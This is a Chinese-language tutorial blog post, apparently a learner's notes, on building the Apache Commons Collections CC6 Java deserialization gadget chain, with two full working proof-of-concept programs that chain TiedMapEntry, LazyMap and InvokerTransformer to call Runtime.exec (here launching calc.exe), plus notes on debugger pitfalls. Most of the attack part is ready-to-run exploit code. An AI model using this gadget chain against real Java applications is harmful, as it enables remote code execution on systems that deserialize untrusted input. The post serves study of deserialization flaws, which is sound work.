CC6链
CC6 Demo学习,以及踩坑记录
CC6 Demo
CC6能够解决CC1高版本无法利用的问题,先看看CC6链
1
2
3
4
5
6
7
8
9
10
11
12
13
|
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
|
第8行到最后的链路我们已经熟悉了。
所以简单来说,解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤LazyMap.get()
的地⽅。
如调用栈所示,可利用的类是org.apache.commons.collections.keyvalue.TiedMapEntry
TiedMapEntry.getValue()
中调⽤了this.map.get()
,⽽TiedMapEntry.hashCode()
⽅法调⽤了TiedMapEntry.getValue()
⽅法
Map.hashCode()
这个方法在URLDNS
中就有过调用学习,那么,直接构造CC6链Demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(697)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
如上方代码所示,首先构造LazyMap
,但是在构造的时候先传递一个无用的transformerChain
,在最后即将进行序列化和反序列化前,通过反射的构造更换为真正的利用链即可。更换代码如下所示:
1
2
3
|
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
|
然后再构造TiedMapEntry
,TiedMapEntry
没有无参构造,声明为public TiedMapEntry(Map map, Object key)
。所以构造TiedMapEntry
如下
1
|
TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");
|
然后再构造HashMap
,如下
1
2
|
Map MMMap = new HashMap();
MMMap.put(keyinner,"TiedMapEntryInKey");
|
TiedMapEntry
对象放在最外层HashMap()
的Key值部分,为什么?因为HashMap.readObject()
中只有如下语句调用了hash()
,而传输对象是Key:
1
2
3
4
5
6
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
...
putVal(hash(key), key, value, false, false);
...
}
|
在HashMap.hash()
中,会屌用key.hashCode()
,如下
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
所以HashMap
反序列化对象时,Key应当为TiedMapEntry
对象。
目前的完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
package org.dm.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonC6dm {
public static void main(String[] args) throws Exception {
//设置ChainedTransformer
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(697)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");
Map MMMap = new HashMap();
MMMap.put(keyinner,"TiedMapEntryInKey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(MMMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object obj2 = ois.readObject();
}
}
|
运行POC,发现无法RCE,为什么?
踩坑指南
先不使用Debug模式,直接运行,也无法RCE
无法RCE,此时将断点放在LazyMap.get()
中的第一行。发现42行MMMap.put()
的时候调用过LazyMap.get()
,LazyMap.get()
源码如下:
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
第一步会判断key值是否存在,如果不存在,会执行IF == true
的内容,执行完后,map中就会保存一对儿Key,Value值。
查看调用栈,发现是代码42行进行put触发的。这一步会把Map对象
赋值,下次再次运行时,会发现Key值已经存在,于是跳过触发。
解决办法就是将Map对象
,在42行之后,清0或者删除42行put的key值。
可以remove()
和clear()
,但是具体操作那个对象呢?
MMMap
是HashMap
对象,里面有个TiedMapEntry
对象keyinner
,TiedMapEntry
对象里包装的是LazyMap
对象outerMap
,LazyMap
,即outerMap
实际上只有一个内置Map是HashMap
对象innerMap
所以,outerMap
,innerMap
都可以。直接使用outerMap.clear();
完整POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
package org.dm.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonC6dm {
public static void main(String[] args) throws Exception {
//设置ChainedTransformer
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(697)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");
Map MMMap = new HashMap();
MMMap.put(keyinner,"TiedMapEntryInKey");
outerMap.clear();
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(MMMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object obj2 = ois.readObject();
}
}
|
直接运行,成功。
结束了吗,没有。
踩坑中的踩坑
如果你想对CC6的链路运行过程做Debug跟踪,看变量如何修改,程序如何调用,路径如何被劫持。
恭喜你,有很强思考,验证和动手能力,但是你会发现,无法触发RCE。
或者说,不使用断点的情况下,可以RCE,其他大多数情况下,LazyMap.get()
总是无法做到IF == true
。
为什么?抛出结论,IDEA自动调用类的toString()
,且不会触发断点。
再且!!!
TiedMapEntry.toString()
中和TiedMapEntry.hashCode()
一样,都会调用TiedMapEntry.getValue()
,这里就是我们的利用链!!!!
所以一旦IDEA尝试解析TiedMapEntry
,去调用了TiedMapEntry.toString()
,那么我们的利用链就会走一遍,map就会自动填充上一对Key => Value
,即使使用了outerMap.clear();
,也不一定有效。
证明一
第一步:直接断点LazyMap.get()
,发现map.size == 0

第二步:不需要步进步过,返回main函数看一眼,触发IDEA对TiedMapEntry.toString()
自动调用

第三步:回到LazyMap.get()
,发现在没有步进步入的情况下,map有值了,size为1,不为0了

此时再步入,也无法进入IF == true
代码块了。
证明二
断点在主函数43行,发现outerMap.clear()
执行之前,outerMap.size == 1
,按照逻辑来说,clear()
之后size为0,步过运行,发现不变,连内容都没变。
解释:因为main Debug途中,会对所有涉及变量做展示,其中包括keyinner
这个TiedMapEntry
对象,就会自动调用TiedMapEntry.toString()
了。
步过前:

步过后:

解决办法
修改代码
1
2
3
|
TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");
Map MMMap = new HashMap();
MMMap.put(keyinner,"TiedMapEntryInKey");
|
为
1
2
|
Map MMMap = new HashMap();
MMMap.put(new TiedMapEntry(outerMap, "keyinner"),"TiedMapEntryInKey");
|
取消局部变量keyinner
,就不会展示,也就不会触发,main函数纯步过可以Debug模式下RCE
那如果要看TiedMapEntry
里的运行流程呢?
有如下方法理论上可以:
- 关闭IDEA的自动
toString()
- 针对这个
org.apache.commons.collections.keyvalue.TiedMapEntry
类进行设置,不做toString()
处理
但实际上不行,笔者粗略的尝试了一次。
以上